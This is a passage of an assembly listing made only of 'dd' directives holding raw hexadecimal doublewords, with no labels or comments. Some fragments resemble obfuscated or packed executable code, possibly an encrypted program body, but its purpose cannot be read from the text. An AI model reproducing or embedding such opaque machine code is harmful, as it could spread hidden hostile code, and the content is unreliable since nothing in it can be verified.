0EBC08B06h, 0F16E74Fh, 6FFEC162h dd 0C541CA27h, 3C8501C5h, 0C13CEEA6h, 0A9F39310h, 1E5E4074h dd 5BF1E435h, 0AA0EA38h, 380EF58Eh, 0A91EAAA7h, 976F6E89h dd 6C4E0841h, 676130F3h, 0F0683665h, 0D3D6DD99h, 86183391h dd 0E75F6FE6h, 3D706EF0h, 5D372EA9h, 88CB8D8Dh, 6A0625h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 0FF28ECC3h, 898770B8h, 1F0B5D8Dh, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 389DA2BBh dd 0B400C14Ch, 0C585C7C4h, 0F0061F20h, 6A000058h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 0A30FC350h, 637402AAh, 0C7D38B66h, 1F137D85h, 6, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 0F04DD021h, 419D8B74h, 0FF061F02h, 1F0749B5h, 658D0906h dd 0FF061F2Dh, 1F2D5995h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 0D4E958EBh dd 858BB5AFh, 61F1ED1h, 95FF006Ah, 61F1D45h, 0EEBC08Bh dd 7ECD87F5h, 0E71B250Dh, 8AE3083Ch, 85C65F9Eh, 61F2025h dd 30DF6856h, 0B5FFA9C5h, 61F3271h, 7993858Dh, 0D0FF0622h dd 5FD8D8Dh, 6A51061Fh, 25B5FF40h, 0FF061F19h, 1F2E4DB5h dd 0FFD0FF06h, 1F1925B5h, 4DB5FF06h, 0E8061F2Eh, 0Dh, 0F0D00E5Dh dd 8A406011h, 96CF647Dh, 835A5AB5h, 2CC104EAh, 24C10224h dd 14030224h, 241CF724h, 0BBh, 1A048B00h, 105EF081h, 0F0815DDEh dd 7C9128BBh, 0EA60C081h, 489622Dh, 0ECEB811Ah, 81587772h dd 7772E8C3h, 241C3B58h, 0FFD3850Fh, 9D8DFFFFh, 61F1945h dd 0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh, 0E9C98B18h dd 0ABh, 3F2E8D50h, 5F72B11Ch, 0A7ACABDAh, 4592B395h, 0B395A1F4h dd 0ECABDA00h, 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h dd 92A5BCF2h, 7594A196h, 0B799603Ah, 99BD329Fh, 9CB2E9B5h dd 0A3F292A5h, 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h dd 8A924AF0h, 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h dd 7D41F445h, 92B000D7h, 756BBF97h, 0BFCF60FDh, 93BCF996h dd 207D20B2h, 0ABF79B57h, 9EBD9492h, 9DBCE3B2h, 899BE0CEh dd 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0E80097B3h dd 94E7A601h, 7883323Dh, 0E957DF65h, 13AAh, 258C2568h dd 0F338E906h, 3E68FFF9h, 0E906258Dh, 0FFF9F32Eh, 258E0768h dd 0F324E906h, 7768FFF9h, 0E906258Fh, 0FFF9F31Ah, 25900C68h dd 0F310E906h, 0C668FFF9h, 0E9062590h, 0FFF9F306h, 25917768h dd 0F2FCE906h, 2868FFF9h, 0E9062592h, 0FFF9F2F2h, 2592D668h dd 0F2E8E906h, 6068FFF9h, 0E9062594h, 0FFF9F2DEh, 25958C68h dd 0F2D4E906h, 2C68FFF9h, 0E9062597h, 0FFF9F2CAh, 2598ED68h dd 0F2C0E906h, 0D368FFF9h, 0E906259Ah, 0FFF9F2B6h, 259B9C68h dd 0F2ACE906h, 3D6FFFF9h, 1C894DC4h, 2A86CE3h, 0E5C488FFh dd 0C7DFA31Ah, 0BD77C33Ah, 9C13EEB8h, 0BD34DBD8h, 0DB52AFF9h dd 0F86F9017h, 320AB62Fh, 0C519AE17h, 62451A8Dh, 50570B9Dh dd 0EBAB38AFh, 0EDC571BBh, 801FD3A1h, 0E29628CCh, 4AC3ED1h dd 4EE93C60h, 116C23Bh, 4E15F0A9h, 0A74119C5h, 20D425F2h dd 7D0FC3FCh, 0F2A809DDh, 0EEF06F25h, 74420C4Dh, 34A109h dd 0A22E0000h, 0FE870095h, 76136C3Eh, 95AE04B0h, 0E884A84Ch dd 15F06C43h, 0AAA3CF0h, 25F2AC36h, 475F1F9Ch, 61A00ABAh dd 1F1CC23Dh, 974495Ah, 0FD73h, 62450000h, 0CE8E0B9Dh dd 56062AE5h, 7838B150h, 943CCE31h, 7D2ADE70h, 6B3CF082h dd 5F0B1F88h, 1FD3A187h, 30C2661Ah, 33CED888h, 9B68188Fh dd 0D81FD3A5h, 0F09C9018h, 1FD3A618h, 0C153F7ABh, 6245F519h dd 0A5441CC8h, 0A1D71FD3h, 0CADB975Fh, 0A246EA56h, 0BF40672Bh dd 2C61D62Dh, 5B8E07B3h, 6F2315F1h, 0E3A691F8h, 0AC58E16Ah dd 25F35AD4h, 0B003B367h, 679F3B5Fh, 0FA1C14CBh, 9844CD46h dd 2C150AC0h, 27B9F53h, 249D6442h, 2ABC4364h, 23E75E82h dd 9751FC83h, 0C908C311h, 6E69BE25h, 861CFA66h, 112667h dd 758C2000h, 946B3AFEh, 0B051591Dh, 0CB347539h, 0EB169054h dd 676E2874h, 874BC23Fh, 0A86CE32Ch, 0C68A0100h, 0DEA71EE1h dd 15E1B965h, 3C7419AEh, 0A06145C9h, 0EA406727h, 0D3A1663Eh dd 0A145F91Fh, 42EE670Fh, 1FD3A16Ah, 0AE2549FDh, 6F36BDEAh dd 0B256FE90h, 467CC43Bh, 0A5FC5278h, 1C974773h, 95B961F3h dd 27A0F542h, 0C41689Eh, 5B0F81F9h, 52F69B37h, 0EFA315F0h dd 8620E05Dh, 0C841E97Bh, 0F292441Ch, 0FF23D725h, 0F2928F63h dd 6876F525h, 75B386D3h, 0BE2709h, 7CB40000h, 8517EABCh dd 9F9D835Bh, 84286100h, 8F7B060h, 1DE4C276h, 574E0E8Bh dd 4A6E16A8h, 0D34CE1AEh, 3FC0E71Fh, 5CA304C8h, 0D1C473CAh dd 5D33AC58h, 0C88815F0h, 0C6FF23DEh, 850E9B12h, 0F25D01D9h dd 0BCE09425h, 42BBCE69h, 0B6DC2382h, 3FDF991Bh, 2099BD09h dd 13871174h, 0ECBE7E1Ch, 0C6BC9440h, 9B4F2C13h, 99BD65F7h dd 7333AC60h, 9357CE33h, 9A87EE13h, 0DBFA67C1h, 100D2645h dd 0A5070000h, 8421E55Ch, 6A40047Bh, 4D5C2097h, 2F773BB2h dd 550F5BD2h, 34AB5650h, 55CC4370h, 73EA1791h, 9007F8AFh dd 0CAA24EC7h, 5D19AE14h, 6145B225h, 426529A0h, 268444BDh dd 0C940B7DBh, 94E9BC7Ch, 0FD38ECB8h, 375BFF3Eh, 4DDF2087h dd 346F0E99h, 8DD4321Bh, 43077E22h, 54089A67h, 1735AC53h dd 9E08C85Eh, 4BEC3F63h, 6821CD46h, 0FD15EFF0h, 4116B649h dd 0B40D7C21h, 0C950E83h dd 80A45B4Ch, 994D97E4h, 0CE601413h, 54CDC077h, 0BDC745A8h dd 0BD69F219h, 29BE06E5h, 729EC478h, 6B0FF62Eh, 0F0B029CDh dd 0A92246B9h, 0C841BEE9h, 0D264AB08h, 0CB8F062Ah, 709117DCh dd 2B9236DEh, 0FFCD28C8h, 44C0DF75h, 3E00000Fh, 581C936Eh dd 773BB24Dh, 9357CE33h, 0AE72E916h, 469209F8h, 0E41D898Ch dd 50AA96Dh, 23DECA8Eh, 40BFE8ACh, 0DB8700C9h, 19AE1403h dd 45EB5E96h, 0B40B9D62h, 0C950E83h, 0A1FFD783h, 9921FD3h dd 0D3A1855Dh, 0C064181Fh, 0AC73009Ch, 67F015F0h, 0AC5A32DEh dd 39ED25F2h, 0F2ACC59Dh, 0A45825h, 0AB152289h, 0F2AD27FFh dd 6206BA25h, 0B12A60E9h, 2CFC2D0Bh, 9B40DC00h, 481C1099h dd 8E620294h, 0F42C1299h, 87D26975h, 260355B4h, 51h, 4CB6679Dh dd 0C917A7C4h, 5B7F23DCh, 7E95A2F8h, 81561D12h, 0EAAB95EAh dd 0C933B327h, 5C088125h, 15F07D18h, 0D960FC3h, 84A8594Dh dd 0B62DD4D4h, 0F27C3406h, 0A05F4825h, 0CCDC9C29h, 0D7FBA335h dd 0EE808127h, 0E6ACFh, 27824200h, 7A9E46D8h, 95A217h dd 2C1CDB87h, 4B8115F9h, 9C24ED26h, 0B8EE9E53h, 0EB0FB749h dd 0FC85FEB2h, 2946B3Ch, 2186365Ah, 4A367DEh, 251269FBh dd 7137F770h, 76370FBBh, 16CA25F9h, 29D54E72h, 1C1F00C5h dd 0EE0A3A70h, 0D65BA2E6h, 2046F6B0h, 98482E22h, 0D14AEE11h dd 0F2699611h, 0F486792Eh, 6A42EE77h, 0FD2C1F92h, 65D22549h dd 822EB730h, 2C1F92AAh, 927951FDh, 580C2C1Fh, 0CE476B1Fh dd 3C716D22h, 0DF46FA22h, 0E44CEA26h, 0D46A891Fh, 0CE00000Dh dd 0E8AC23DEh, 7CB42BDh, 23E75EA3h, 3E027986h, 0D6229968h dd 748D191Ch, 957A39FDh, 0B34E5A1Eh, 0D02F783Ch, 6B179059h dd 19AE1293h, 597BEE26h, 1FD3A185h, 679A10D0h, 4247F043h dd 65AA09C9h, 7F3FC841h, 882BDB34h, 294DF587h, 0F92C618Dh dd 0AF28DC15h, 19F19D26h, 0AC25F92Ch, 8324D4F8h, 6641057Ch dd 49602099h, 5C00FFAAh, 6CFE22CAh, 0F66F2215h, 1635BD4Ah dd 0C571FA1Ch, 2C1835EDh, 29629F09h, 64185175h, 637636FDh dd 7E9D33FAh, 0D3Fh, 178E7339h, 36AD5253h, 52C93872h, 6DE41B8Eh dd 8D04FDA9h, 287E8741h, 159E62D9h, 0E9BF83FAh, 0CADDA118h dd 7CF5BE35h, 0AE11F8D0h, 0E0538B19h, 0B9D6245h, 36AF5057h dd 45BAEDADh, 976F0BB3h, 2A1FD3A1h, 8FC05276h, 0F9D17D06h dd 8C1FD3A1h, 9527DACCh, 5F2349EDh, 0B064DB38h, 0F9E56084h dd 94477742h, 78196F0h, 4D0D0000h, 6A12A45Dh, 95A2E346h dd 0C26687Eh, 50F4F2F6h, 71F22BD7h, 0D38715F8h, 1D0D9A5Ah dd 0F8709971h, 0D4782C25h, 0F10E995Dh, 70EBBF5Fh, 3625F8h dd 750E8E6Ah, 0FC4F7399h, 31DD563Bh, 1C1506A4h, 33066D21h dd 32FA6481h, 0C857D9Ch, 2D7F0000h, 0C995DD4h, 0F2B87CF3h dd 0D5D4980Fh, 0B7EFB32Ah, 0CD87D34Ah, 0AC23DEC8h, 0CD44CBE8h dd 0EB629F09h, 87F8027h, 421AC63Fh, 0D519AE11h, 62452A9Dh dd 0CE8E0B9Dh, 0EE9628D7h, 728D1ACAh, 88872CE0h, 4CA5CCF6h dd 0DB6ED9A5h, 0F1837C2Bh, 0A78658E7h, 4CEFEF7Ah, 0F094960Dh dd 6D2A0h, 85592D00h, 0F61FD3A1h, 4AD34C41h, 4FE1208Ah dd 60F20F9Bh, 54F014B8h, 15F92B5Bh, 3C33CF0h, 20E45BA4h dd 69E67887h, 7002FFA9h, 0E651A4C8h, 3E6A2AA3h, 658931C3h dd 35B340ECh, 0FA301C16h, 0FE340F38h, 0F158FCF4h, 0FA63D236h dd 0D45E7D13h, 0CE00000Bh, 0E8AC23DEh, 7CB42BDh, 23E75EA3h dd 3E027986h, 0D6229968h, 748D191Ch, 957A39FDh, 0B34E5A1Eh dd 0D02F783Ch, 6B179059h, 19AE1093h, 457BEE26h, 570B9D62h dd 562EDA50h, 721FD3A1h, 0DE92CB36h, 0A801C13Ah, 0E99BC557h dd 9F5185BBh, 49DBFFA3h, 7518D18h, 11A36C47h, 0EAAF4569h dd 3F094A7h, 61Bh, 95A290h, 1DE2C787h, 37F780F9h, 57FF916Eh dd 2BCD9733h, 480815F9h, 437CA05Fh, 5D56168Fh, 55158EB2h dd 7236AD52h, 9838CA35h, 25F92BC4h, 168F0235h, 8CB04F56h dd 35DA6713h, 0A3571C16h, 6376A93Ch, 9FBE54FAh, 0B23h dd 0FB728F1Dh, 1A916E37h, 36AD5456h, 51C83772h, 71E8198Dh dd 44626B25h, 318246BDh, 5A367DEh, 0E6C185FCh, 60D9A219h dd 0AE0FDCB4h, 0C4376F19h, 6F47F37Ch, 21FD3A1h, 2D7A2A4Eh dd 1B8C40D2h, 0B9E52E4h, 0FAAE62F4h, 76F17507h, 0D98C568h dd 0DFC787D1h, 0C4E89022h, 94B86B2Eh, 0D1E2A2F0h, 0E51C8E3Eh dd 0EE87AB53h, 563h, 0A180597Bh, 3CFB1FD3h, 8820E059h dd 30DC5579h, 15F92B49h, 0D1910ABEh, 0F0B029D6h, 0AB2246B9h dd 0AD3FC0E7h, 33ACE156h, 40BFEAAAh, 46E206AEh, 1C163521h dd 4B31ACEh, 0C1FA6377h, 0A750C2Bh, 3D6F0000h, 1C894DC4h dd 2A86CE3h, 0E5C488FFh, 0C7DFA31Ah, 0BD77C33Ah, 9C13EEB8h dd 0BD34DBD8h, 0DB52AFF9h, 0F86F9017h, 320AB62Fh, 0C519AE0Fh dd 62451A8Dh, 0A1441CC8h, 23D71FD3h, 6E39ED7Fh, 5B4BFF91h dd 476014A6h, 8D1C26B8h, 97C05A51h, 1714955Ch, 447AF373h dd 9B0FA2D9h, 62CD466h, 0BCE0D91Ah, 23849D41h, 18D865DCh dd 37DF7190h, 203C7D13h, 80D1F094h, 5E000001h, 0B9D6245h dd 24DBCE8Eh, 0A8575000h, 0C53A6F2Fh, 0EE658B33h, 9F4F8CFAh dd 4BB2294Dh, 8430A9ECh, 15F00A6Fh, 39B648FCh, 77E77503h dd 5AA9CF30h, 0B25D56BAh, 0B0D47820h, 0F2A04014h, 0B727A625h dd 75B93584h, 4BD809h, 0A2650000h, 0FE870095h, 748484C8h dd 3357CF85h, 0EFF2F297h, 149F5F15h, 0F0B569FBh, 0E476B0Fh dd 5428C85Ah, 0BA25F232h, 0D42D7D3Dh, 6E271842h, 882148B3h dd 9945C0E4h, 0B28A36BFh, 4525F2A1h, 82D76D91h, 2B0975BCh dd 0C4h, 9D6245B8h, 56588E0Bh, 2933E29Ah, 0B9ED9DC1h, 9B0FCF48h dd 82CD466h, 0EE5C276h, 43EF6897h, 1FD3156Bh, 14A64AFEh dd 41B84760h, 0D300B491h, 32CDDA1Fh, 0AEE354BBh, 2800AC35h dd 0BB1FD341h, 0BE6AE307h, 15F4ADD9h, 0E1208646h, 4A83A74Fh dd 0D4941D96h, 1C992BD6h, 0F4ED9870h, 0D3772B25h, 5AA7FFAFh dd 0A5871FE3h, 0F4EE21F9h, 5C00B425h, 6AE5CF5h, 4463F9F0h dd 8EBh, 0C33AC7E5h, 0E259A6FFh, 0FE758C1Eh, 19906F3Ah dd 39B05155h, 7C2A33EDh, 694A0E85h, 3D6B2FA6h, 1E894DC4h dd 28A16AE1h, 0AE0DA47Ch, 8CFF3719h, 6F47F37Ch, 8B1FD3A1h dd 0A74FE11Eh, 0E696BA6Eh, 6CA41C0h, 70E75EA1h, 16916245h dd 0CCC45E9h, 2ED668A7h, 0E3C4780Ah, 0C4689710h, 0E11E8B4Bh dd 0C83A74Fh, 32EDDh, 15905000h, 0A263C6EAh, 0FE870095h dd 0A1F1C975h, 7C971FD3h, 4B42FAF2h, 0FFA767A0h, 9E3A5E02h dd 15F02441h, 694AA8DEh, 4E17EF9Bh, 0F6AA25F2h, 11838BD0h dd 673BDB6Dh, 0CD25F1B6h, 0ECB01A50h, 0D6FC03A2h, 0D1F534E7h dd 0E6B38856h, 7097544h, 276h, 0A1825994h, 4ED71FD3h, 8E4E0A18h dd 32CEF7C8h, 1FD2DA5Ah, 0C21539EDh, 79299E75h, 6E746ECDh dd 8C851CAh, 0A44064ABh, 15F8F6B3h, 917038F8h, 0BDFE346Dh dd 0E0A9B92Ah, 0D960FB3h, 17A9664Dh, 1BF4BF6Fh, 0DBDE189h dd 63EC659Ah, 0F8E9DFB7h, 9ABE7225h, 0B7485F23h, 2469CE25h dd 0F3DAFFABh, 0D3871C15h, 63B51B6Ch, 0B1D066FAh, 7BFh dd 970EF3B9h, 0B62DD2D3h, 0D249B8F2h, 0ED649B0Eh, 0D847D29h dd 0A8FE07C1h, 951EE259h, 693F037Ah, 4A5D2198h, 0FC753EB5h dd 0AE0C7850h, 60D30B19h dd 249D6245h, 0E50A61EEh, 0A1C55137h, 1E5C920Fh, 7CA41A0Eh dd 0B9EE9EC2h, 0AA00B446h, 9611C557h, 0D853D769h, 2CA72706h dd 0BB386FB2h, 5DA205EEh, 0ED7F23CBh, 802AA145h, 0F094FC39h dd 8F7234F4h, 0FCD480FDh, 8F1FD36Dh, 7A1337DBh, 186h, 1B624507h dd 0A67B15FFh, 926D3AA9h, 4B84AEEh, 7EE55CA3h, 0D25BD4B9h dd 0EC944C9Ch, 229B6559h, 0D35D9E76h, 597D311Fh, 0F065A8BDh dd 31753515h, 0F2963ED0h, 64ECC060h, 0D55225F2h, 0DFEC5B9Fh dd 30540D54h, 471229B5h, 660975F4h, 54h, 0FEF4A7DDh, 3CA3BE82h dd 7B97FF16h, 95B9CE3Bh, 0F495A232h, 2FA84CB3h, 0EDBB386Fh dd 0D34C7014h, 0F0808227h, 0E97B2F15h, 0F2C07549h, 825CDB25h dd 0C9A14DD6h, 5C25F2C0h, 0C04F27D3h, 2EE225F2h, 89D0668Ah dd 4409745Dh, 4CDE2184h, 0B6E780A4h, 74000000h, 1CC86245h dd 1FD3A144h, 0CAA24ED7h, 5D1FD3A1h, 5E5505A9h, 0D3771FB1h dd 0E8198D41h, 0FA05A256h, 744CF881h, 71FD3A1h, 0E99D2F53h dd 8F7035BEh, 17C474EBh, 1D1FD3F4h, 97FE758Ah, 0EB74EDA0h dd 0D3F3673Fh, 9E190D1Fh, 0EAC2D299h, 60D9FDB1h, 6EE2A1D7h dd 9DC75F88h, 77F8DD79h, 0F1A515F5h, 7B2FEF78h, 0F4B26286h dd 0D4D2960Dh, 0D77B8421h, 5F0E570h, 0ABCA60F0h, 61Fh dd 0F76E9319h, 168D7233h, 32A95852h, 4DC43B6Eh, 6DE41D89h dd 485E6721h, 357E42B9h, 99F63DAh, 0EABD81F8h, 5CD59E15h dd 0AE0AD8B0h, 0C0336B19h, 29A06145h, 46BD4265h, 0BD467CCFh dd 623AE69Eh, 0F51FD343h, 52E61B41h, 7532E206h, 0C4D6B408h dd 27CB97A9h, 46B9EEAEh, 56E80CB4h, 83FA05A2h, 6654h, 0BC7CDD00h dd 0D88012EDh, 0A1DBB35Fh, 0BA6E1FD3h, 3EC1E696h, 0DBA68FC5h dd 5DDF5F24h, 0A12AA739h, 0D3031DF5h, 0BFF7C31Fh, 0FFBE183h dd 4EFE22D6h, 0F00F9A59h, 3FEAA5Eh, 1F29BB5Fh, 8B395C92h dd 36082639h, 0DA479712h, 0D9B15DCDh, 6C1FD352h, 760807ACh dd 0F862ACEh, 68824C82h, 0F639F07Eh, 24B7D2h, 45400000h dd 0DC199162h, 0EE9236C9h, 0A1E7BC5Ch, 0AAFD1FD3h, 9A0FC355h dd 792D365h, 0BA3556D7h, 55AAFD24h, 467C67DEh, 1A380FBCh dd 8C3C60B2h, 0D552E41Bh, 6A16CC9Fh, 90B40336h, 1E97FA3Dh dd 0F8A0B372h, 90225815h, 430E1CAEh, 860F882Ch, 0DB495F50h dd 0A8612E8h, 120C6E01h, 520226CAh, 6F33AA55h, 8E4EC738h dd 0AA52E41Bh, 9A9DF486h, 49F57EF7h, 25F7FD71h, 0B32C5004h dd 0C53C6A2Ah, 0CB678B33h, 1C1D8867h, 0EF18DC12h, 90B78A18h dd 0F7B373ECh, 0E3C4780Ah, 3EE28A1Ch, 5818A11Ah, 771FB150h dd 0FB04A353h, 7137F784h, 0EBBC6C90h, 0CEDB9B14h, 0D3F79F31h dd 734DEA41h, 1D9AEFC7h, 649D0B2Ch, 3DF12AD2h, 4A602099h dd 56538435h, 0AC50674Ah, 0AE630F88h, 3B223A28h, 682E06B2h dd 0D581323Ch, 323C68FDh, 0EFA3DC90h, 234FE44Bh, 34CAE44Fh dd 45E15h, 0AD545800h, 0CC337236h, 0E8199155h, 3FCAD71h dd 23DEC88Ch, 9FA660ACh, 0BF83FA07h, 0E0A41BF4h, 0FEC239C8h dd 16DF56A9h, 0A19F19Dh, 74AC19AEh, 9D624501h, 0BA456226h dd 0CC337428h, 0DF22863Ah, 0F51A994Dh, 8C52D163h, 38A621A1h dd 0C841BEE9h, 0D7287F3Fh, 29019D45h, 0CF1FD3A2h, 0A7D9975Dh dd 0C6FC3531h, 0F494BAE0h, 3E620621h, 555C1DC7h, 891F094h dd 0D2C4845Ch, 3D63171Fh, 57AAE9C8h, 0D87195FDh, 45h, 421AC64Fh dd 0D51FD2E5h, 0E5C8A04Ch, 0A75B1FD2h, 0A27CDF03h, 4FB2F495h dd 0E9A932ABh, 791D43BCh, 93A5F90Dh, 33771337h, 0DE15F005h dd 0B7F1B12Ah, 5123D34Ah, 6525F204h, 8246BD42h, 2A49DB26h dd 393h, 9D6245B3h, 0AF50570Bh, 2366D138h, 0EC9821AAh dd 1FD3A214h, 0C1CDF3A7h, 0D3284128h, 7F943054h, 0CC15EFC6h dd 0EAF56E96h, 0C6EACDECh, 0A747D98Dh, 25F214D3h, 1724BA39h dd 9753542h, 27E8CB8Bh, 536A03h, 0A2F70000h, 0DB870095h dd 15F08136h, 0E4456DA3h, 3FD12E7Bh, 9C7E7197h, 6D215A7Eh dd 8AB6BF4h, 31CD7507h, 25F30559h, 208838ECh, 8B2BBDE1h dd 25F305B7h, 9426DBCBh, 0A638C7E0h, 2904DA65h, 0A9924CCBh dd 97420D0h, 0B34C5D1Dh, 0BC557921h, 0C6h, 9D624549h, 0B24F570Bh dd 423B6C20h, 0DEFA703h, 9527CBEEh, 0C239C6E1h, 0D2F64512h dd 0A35C4B1Fh, 0C03F682Ch, 2D60D72Eh, 6CA22BB4h, 7AC56785h dd 6DE7AA4h, 221FD319h, 43EB7D84h, 9632560Ah, 15F02D6Dh dd 0D5AD59E2h, 6825F22Ch, 329910B4h, 6B179005h, 1C139C90h dd 60DBB7EDh, 4A709115h, 0F2168398h, 38C05B9h, 0D0E152CDh dd 0F519C893h, 29A06145h, 59C04165h, 0FA678A10h, 78809F35h dd 72000002h, 8C50C73Ah, 0AB6FE619h, 0C78B02FFh, 0E2A61DE2h dd 7AC63DC4h, 18E9BDC0h, 39D6DDA1h, 57AAFEC2h, 748B1CE0h dd 0FBB34FDh, 19AE0737h, 451F92CAh, 6529A061h, 0B946BD42h dd 0A1AC8430h, 8B3F1FD3h, 95A20467h, 36DB8700h, 0E315F081h dd 29FD9D2Fh, 8F25F2C2h, 2C6DCE10h, 0C109745Ch, 0A1h, 9D62454Eh dd 0B24F570Bh, 0A5B38020h, 0EEB91FD3h, 0D1D69A11h, 1E7FB52Eh dd 49845C7Ch, 0DE708F1Ah, 0DC6E9236h, 66DFB285h, 0F14591BAh dd 0B43DC615h, 0F3443008h, 730FC325h, 25F3449Bh, 1D567A2Eh dd 0AC8BF269h, 60BDDA67h, 0E88C166Eh, 6783C36Fh, 72261C14h dd 946D39F9h, 0B44D591Dh, 66E1224Dh, 6A891FFAh, 1AFh, 87FE03A9h dd 0A61DE2C3h, 0C239C8E2h, 0DD54ABFEh, 0FD748D19h, 0B8EEF7B1h dd 0A50ED249h, 792FF36Ah, 5A4D1188h, 0EC652EA5h, 0AE066840h dd 50C3FB19h, 29A06145h, 46BD4265h, 9D6245CFh, 0AF50570Bh dd 561F0036h, 44C3265Bh, 0F016071h, 2549ED15h, 42BDEAAEh dd 0ABDE59B0h, 73E58632h, 8A4A15F0h, 83BCE01Fh, 122056CFh dd 0FC40963Ch, 0EA03256h, 0D5D24F8Fh, 0EB4CB32Ah, 38812DA6h dd 6D1C0FEBh, 7507F8ADh, 768B1DCDh, 0D3651952h, 0E577881Fh dd 0EC924CDBh, 0EDC5714Bh, 802C11E9h, 3AF28CCh, 222EF0BAh dd 7D762FEFh, 9F47D936h, 9DC169FBh, 7539B064h, 0CB54CD32h dd 30EF471Fh, 226DA32h, 15ECBC70h, 6C72F183h, 0A501F2B5h dd 7E22CA5Ch, 0F297A007h, 12EFB979h, 28C975EEh, 0CD284DDAh dd 0D4D38719h, 0EC139656h, 501A7850h, 0B3570B38h, 0C9466D21h dd 4268337h, 501A8058h, 0BB5F1338h, 0B42AA529h, 8D99C9F7h dd 6C101E0Ch, 4A161DEh, 0A7684BFBh, 0A8D60883h, 0A179258Fh dd 34385001h, 0B763DC80h, 2E6CEC16h, 0AEBBB7Bh, 9CC0649Bh dd 0D138AF63h, 0FEAA2366h, 3494B677h, 86792CECh, 0FFA969E2h dd 0A2C87002h, 0EE5BF8DFh, 58EA0E7Ah, 0CEA652DBh, 6144955Fh dd 57A8FDADh, 0DB248333h, 0F807A064h, 1B03C666h, 54E30DEEh dd 0EF10978Ah, 6941ED76h, 0FC96905Ah, 0E9AD2448h, 3FC841BEh dd 3AD62B7Fh, 96905A62h, 8B1D41F5h, 8421D2D7h, 9D41E97Bh dd 0E4FA790Bh, 1E956A3Dh, 20B24D5Ah, 0A01h, 0BC7C8A00h dd 0DA8214EBh, 450168B6h, 54089A67h, 661AAC53h, 792DBF42h dd 8F43D53Ah, 0A458EA17h, 0B96DFF02h, 0C97D0FF0h, 0DA8E20E1h dd 86A234CBh, 81E68956h, 4C6h, 4EE8300h, 2474FF56h, 48F5E04h dd 96685C24h, 8900004Bh, 89572414h, 4C781E7h, 83000000h dd 3C8704EFh, 1C895C24h, 8AD66824h, 148B0625h, 4C48324h dd 241C8B54h, 5204C483h, 3CD1BA52h, 5401002Ch dd 8F5A0424h, 6B810843h, 2C3CD108h, 2434FF00h, 4C4835Bh dd 5724148Bh, 0C781E789h, 4, 8704C783h, 0E95C243Ch, 0FFF9DF9Ah dd 70B803DCh, 306259Dh, 0D5E0FFC5h, 0CB5EDFD9h, 0CB74AE53h dd 0B116F471h, 0F69360Bh, 0D7235CA3h, 86531BD1h, 0CB00FBD8h dd 221B01C0h, 3E226D98h, 9C010861h, 2C67D2AFh, 0D146A3A1h dd 7F006AECh, 0DA782773h, 930FAC8Ch, 0FD6D4114h, 55121EFh dd 0FF11ED15h, 0BF31F4D7h, 5139B969h, 0FE19A647h, 0E84EAE72h dd 5, 0D66B7504h, 5BFE8BE1h, 13E860h, 23850000h, 1503AA6Ah dd 0F3275EFBh, 0C82D1F9Dh, 968DBE34h, 5BC8B55Bh, 0A3130ABEh dd 0C381612Ah, 5BDFh, 0CCF443B8h, 0C220BE6Ch, 0C6814156h dd 0BEA954A2h, 0DAB833FFh, 59559F75h, 6BC181F5h, 0E95CDA5Ah dd 13h, 89B72380h, 0B891361Ch, 751DB882h, 4A15908Ah, 81486519h dd 0BFC15BF1h, 0A7BB6009h, 5162ABEDh, 5AC2BF0Fh, 0DAC18161h dd 665973B0h, 5160C1B8h, 3890Fh, 0B70F0000h, 8B038FD3h dd 3EB83D6h, 0E68A4BF9h, 0F01EE83h, 2985h, 9E800h, 0DC250000h dd 0F156F844h, 668F6D35h, 58441CBAh, 22E9h, 46853300h dd 0C03821E2h, 5D704EC4h, 2796B96h, 0CF8193E1h, 66FA2E70h dd 0FFFF6BE9h, 7610BEFFh, 0E9692195h, 15Fh, 60D48B52h dd 0E8h, 0ED815D00h, 6259F39h, 3D08428Bh, 78263845h, 138850Fh dd 428B0000h, 184A8B0Ch, 3BBBC8D3h, 337CB69Dh, 4E883C3h dd 0B5D8589h, 588B061Fh, 8BF88B04h, 4A8B1042h, 0BEC8D318h dd 0EB216B62h, 0C72BC633h, 83FCE083h, 858904E8h, 61F20C5h dd 8914428Bh, 1F137D85h, 18428B06h, 0B0E953h, 0B5FF0000h dd 61F2AB5h, 0B9E9h, 7DB5FF00h, 0E9061F15h, 0AEh, 1D15B5FFh dd 0A3E9061Fh, 0FF000000h, 1F0F41B5h, 98E906h, 0B5FF0000h dd 61F3025h, 8DE9h, 0B1B5FF00h, 0E9061F1Eh, 82h, 1ECDB5FFh dd 77E9061Fh, 0FF000000h, 1F0D29B5h, 6CE906h, 0B5FF0000h dd 61F1545h, 61E9h, 49B5FF00h, 0E9061F07h, 56h, 105DB5FFh dd 4BE9061Fh, 0FF000000h, 1F3291B5h, 40E906h, 0B5FF0000h dd 61F1575h, 35E9h, 5B5FF00h, 0E9061F01h, 2Ah, 2D01B5FFh dd 1FE9061Fh, 0FF000000h, 1F0865B5h, 14E906h, 0D88B0000h dd 0BB8h, 0E3F76600h, 9F9A8D8Dh, 0C8030625h, 95FFE1FFh dd 61F2D59h, 5D858B5Bh, 39061F0Bh, 850F0458h, 0Fh, 0FF016A53h dd 1F1D4595h, 0E2E95B06h, 61FFFFFFh, 5A61C35Ah, 0D4C96AB8h dd 8BE0FF77h, 1F00A185h, 888D8D06h, 890625A0h, 0C38B0141h dd 0AE8h, 96682C00h, 0F5C3A448h, 0BACEC921h, 2D8EBB63h dd 8CE8159h, 8174D582h, 5DA6C1h, 8B0F00h, 33000000h, 10E9DBh dd 0DBA50000h, 0AF2CD23Dh, 9A4A1CDDh, 0CB3C18D9h, 3C8B8930h dd 9E919h, 83A0000h, 511CF201h, 8161541Dh, 21599FC7h, 83BE662Ch dd 0FCF78154h, 0E96A2E4Ah, 10h, 86D70FB1h, 9C3E22CBh, 0DA7FD12Ch dd 0FF05FD93h, 0F75AC781h, 8EB625A7h, 60193C89h, 8E0FD58Ah dd 3, 61D4D880h, 837DC280h, 